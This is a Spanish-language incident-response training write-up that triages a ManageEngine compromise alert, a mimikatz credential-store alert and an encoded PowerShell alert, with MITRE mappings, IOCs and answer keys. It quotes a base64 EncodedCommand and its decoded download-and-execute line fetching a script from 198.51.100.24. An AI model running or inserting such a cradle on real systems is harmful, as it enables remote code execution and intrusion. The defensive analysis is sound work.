Evaluación de Habilidades — Respuesta a Incidentes (Triage, Forense & MITRE Mapping)

🛠️ Preparación / TheHive — tareas iniciales

🧩 Ejercicio 1 — Análisis de la alerta "[InsightNexus] Admin Login via ManageEngine Web Console"

🕵️‍♂️ 1️⃣ Análisis inicial en TheHive

• Se registran conexiones desde dos IP externas:

  • 🌐 203.0.113.18:4444

  • 🌐 198.51.100.24:443

🌎 2️⃣ Enriquecimiento (VirusTotal / WHOIS)

• En Files Referring de VirusTotal aparece:

  MangoJava.exe — Win32 EXE (34/72 detecciones) — 2025-01-30 12:36:21 UTC

  🔗 VirusTotal: MangoJava.exe (hash/file page)

• WHOIS / Geo para 198.51.100.24: indica Los Ángeles (US) — posible proxy o hop intermedio.

🧭 3️⃣ Mapeo TTP / MITRE

• T1573.001 — Encrypted Channel (C2 sobre HTTPS).

• T1071.001 — Application Layer Protocol: Web Protocols (HTTPS C2).

• T1041 — Exfiltration Over C2.

• T1078.001 — Valid Accounts: Default/Hardcoded credentials (ManageEngine access).

• T1105 — Ingress Tool Transfer (descarga de MangoJava.exe).

🧩 4️⃣ Observables sugeridos (a crear en TheHive / SIEM)

🧾 5️⃣ Comentario sugerido para añadir en la alerta (TheHive)

🔍 Enriquecimiento de IP (203.0.113.18)
- VirusTotal: archivo referenciado "MangoJava.exe" (Win32 EXE) — 34/72 detecciones.
- Puerto observado: 4444 → comportamiento típico de C2.
- Correlación: tráfico desde ManageEngine session → posible C2 post-compromise.
- TTPs: T1573.001 (Encrypted Channel), T1041 (Exfiltration Over C2), T1105 (Ingress Tool Transfer).
Acción recomendada: bloquear egress a 203.0.113.18 y 198.51.100.24, preservar logs, y añadir observables al caso.

🔔 Siguiente pregunta resuelta — Rule ID 92153 (VaultCli.dll)

• Observación principal: mimikatz.exe cargó vaultcli.dll en SCWIN01.techrange.local.

• En el payload de la alerta se indica: rule.mitre.id: ['T1555'] y rule.mitre.technique: ['Credentials from Password Stores'].

✅ Respuesta (formato solicitado): T1555

Alert — VaultCli.dll cargado por mimikatz.exe (Rule 92153) 🛡️

tags: [wazuh, sysmon, vaultcli, mimikatz, T1555] date: 2025-10-09 source: Wazuh / TheHive rule_id: 92153 mitre: T1555 host: SCWIN01.techrange.local agent_ip: 172.16.200.2 severity: medium

🔍 Evidencia (extracto)

Evento Sysmon ID 7 — Image loaded

🧾 Observables / IOCs (VaultCli / Mimikatz)

• Host: SCWIN01.techrange.local

• IP Agente: 172.16.200.2

• Proceso sospechoso: C:\Users\administrator.TECHRANGE\Downloads\mimikatz_trunk\x64\mimikatz.exe

• DLL cargada: C:\Windows\System32\vaultcli.dll

• SHA256 (mimikatz): D163DB26CC26D30A39DC48CDFA9B6B78F236E3792DDD2EAA3366E4DD3D471416

• Regla: 92153

• MITRE: T1555

✅ Acciones recomendadas (triage inmediato)

1. Aislar host SCWIN01 (preservar para análisis forense).

2. Recolectar artefactos: volcado de memoria, lista de procesos, registry hives, copia de mimikatz.exe.

3. Rotar/revocar credenciales usadas por TECHRANGE\administrator y revisar sesiones activas.

4. Buscar movimiento lateral: revisar 4624/4625 y conexiones salientes desde el host.

5. Añadir IOCs al bloqueo en EDR/Firewalls (hash, ruta, host).

6. Escalar a Tier‑2/3 si se confirma extracción de credenciales.

📌 Notas / Seguimiento

• Registrar parent-process chain y cuenta que ejecutó mimikatz.

• Correlacionar con alertas relacionadas (ManageEngine logins, msiexec GPO deploy, inbound/outbound C2 logs, diagnostics_data.zip).

• Adjuntar resumen y evidencia al caso: Insight Nexus — ManageEngine Compromise.

🧩 Ejercicio — PowerShell EncodedCommand (resumen rápido)

{
    "_index": "wazuh-alerts-4.x-2025.10.08",
    "_id": "d4f8a9c2-6b3e-4f12-9c2a-1e8f9b2a7c5d",
    "_source": {
      "agent": {
        "name": "VICTIM-HOST-01.corp.local",
        "id": "vh01",
        "ip": "10.10.5.23"
      },
      "rule": {
        "level": 12,
        "description": "Suspicious PowerShell execution with EncodedCommand (possible downloader/obfuscation)",
        "id": "34012",
        "groups": [
          "windows",
          "sysmon",
          "execution",
          "obfuscation"
        ]
      },
      "data": {
        "win": {
          "system": {
            "eventID": "1",
            "systemTime": "2025-10-08T10:12:30.123Z",
            "providerName": "Microsoft-Windows-Sysmon"
          },
          "eventdata": {
            "ProcessGuid": "{e9b2a6d2-9f0c-4b3d-91a4-1f2d3e5a6b7c}",
            "ProcessId": "5420",
            "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "CommandLine": "-NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SUVYIChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzE5OC41MS4xMDAuMjQvZGVmZW5kZXIvZGVwbG95LWRlZmluaXRpb25zLnBzMScpOyBTdGFydC1Qcm9jZXNzIHBvd2Vyc2hlbGwgLUFyZ3VtZW50TGlzdCAnLU5vUHJvZmlsZSAtV2luZG93U3R5bGUgSGlkZGVuIC1GaWxlIEM6XFdpbmRvd3NcVGVtcFxkZXBsb3ktZGVmaW5pdGlvbnMucHMxJw==",
            "ParentProcessId": "668",
            "ParentImage": "C:\\Windows\\system32\\services.exe",
            "Hashes": "SHA256=3f6b2c5ea1b9f8d2a4b7c8d9e0f4a6b2c5e3d4a6b7c8e9f0a1b2c3d4e5f6a7b8",
            "User": "CORP\\svc-update",
            "Details": "EncodedCommand present; suspicious flags: -EncodedCommand, -ExecutionPolicy Bypass, -WindowStyle Hidden"
          }
        }
      },
      "timestamp": "2025-10-08T10:12:30.123Z",
      "location": "Sysmon"
    }
  },

IEX (New-Object System.Net.WebClient).DownloadString('http://198.51.100.24/defender/deploy-definitions.ps1'); Start-Process powershell -ArgumentList '-NoProfile -WindowStyle Hidden -File C:\Windows\Temp\deploy-definitions.ps1'

🎯 Respuestas (formato solicitado)

• IP sospechosa (decodificada): 198.51.100.24
• Usuario que ejecutó el comando: CORP\svc-update

🔎 Breve explicación / por qué es malicioso